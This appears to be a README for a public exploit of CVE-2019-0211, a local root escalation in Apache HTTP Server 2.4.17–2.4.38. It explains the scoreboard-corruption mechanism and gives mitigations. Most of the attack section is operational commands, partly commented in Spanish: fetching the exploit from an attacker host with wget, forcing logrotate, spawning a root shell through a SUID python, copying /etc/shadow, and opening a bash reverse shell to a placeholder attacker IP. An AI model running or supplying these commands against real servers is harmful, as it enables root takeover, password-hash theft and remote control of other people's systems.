CVE-2019-0211 — Apache HTTP Server Local Privilege Escalation (CARPE DIEM)

Description

CVE-2019-0211 is a local privilege escalation vulnerability affecting Apache HTTP Server between versions 2.4.17 and 2.4.38 using mod_prefork and mod_php (or PHP-FPM).

The vulnerability allows an attacker with a shell as www-data to escalate to root through a combination of Use-After-Free (UAF) in PHP and corruption of Apache's scoreboard. When Apache performs a graceful restart (e.g., via logrotate at 6:25 AM), it executes child_init() before dropping privileges. If we manage to corrupt the pointer to this function, we can make Apache execute an arbitrary command as root.

CVSS 3.1: 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Technical Details

Mechanism

Apache uses a shared memory region called the scoreboard where each worker child process has a process_score structure with a bucket pointer to prefork_child_bucket. This bucket contains an apr_proc_mutex_t with function pointers (meth->child_init()).

When Apache does a graceful restart (natural trigger at 6:25 AM via logrotate), it calls child_init() before dropping privileges. The exploit:

1. Triggers a UAF in PHP by manipulating DateInterval objects and JSON serialization
2. Obtains an arbitrary read/write primitive in memory
3. Reads /proc/self/maps to locate the scoreboard (SHM at /dev/zero)
4. Finds the all_buckets structure in Apache's memory
5. Overwrites the buckets with a payload that redirects meth->child_init() to system()
6. On the next restart, Apache executes the payload as root

Exploit

Original Author

Charles Fol — @cfreal_

Original blog post: CARPE DIEM — CVE-2019-0211 Apache Local Root

Requirements

• Apache HTTP Server 2.4.17 – 2.4.38 with mod_php (PHP 7.x)
• Shell as www-data on the server
• Ability to write a .php file in a directory served by Apache

Usage

# 1. Subir el exploit al servidor vulnerable
# Desde tu máquina atacante:
python3 -m http.server 8080
# En el servidor (como www-data):
cd /var/www/html
wget http://TU_IP:8080/carpediem.php

# 2. Ejecutar el exploit
curl http://localhost/carpediem.php

# 3. Esperar a que Apache haga graceful restart
# Opción A) Esperar a las 6:25 AM (logrotate automático)
# Opción B) Forzar logrotate si tienes permisos:
sudo /usr/sbin/logrotate /etc/logrotate.conf --force

# 4. Verificar que python3.5 ahora es SUID root
ls -la /usr/bin/python3.5
# Output esperado: -rwsr-sr-x 2 root root ...

# 5. Escalar a root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Custom Payload

You can change the command executed as root using the cmd parameter:

# Ejemplo: hacer una copia de /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"

# Ejemplo: reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/TU_IP/PUERTO+0>%261'"

Success Rate

More workers = higher success rate.

Mitigation

• Update Apache HTTP Server to version ≥ 2.4.39
• Migrate from MPM prefork to MPM event (smaller attack surface in the scoreboard)
• Restrict access to /proc/self/maps using hidef or AppArmor/SELinux

References

• NVD — CVE-2019-0211
• CARPE DIEM Blogpost — Charles Fol
• Exploit on GitHub — cfreal/exploits
• Exploit-DB #46676
• Apache Security Advisories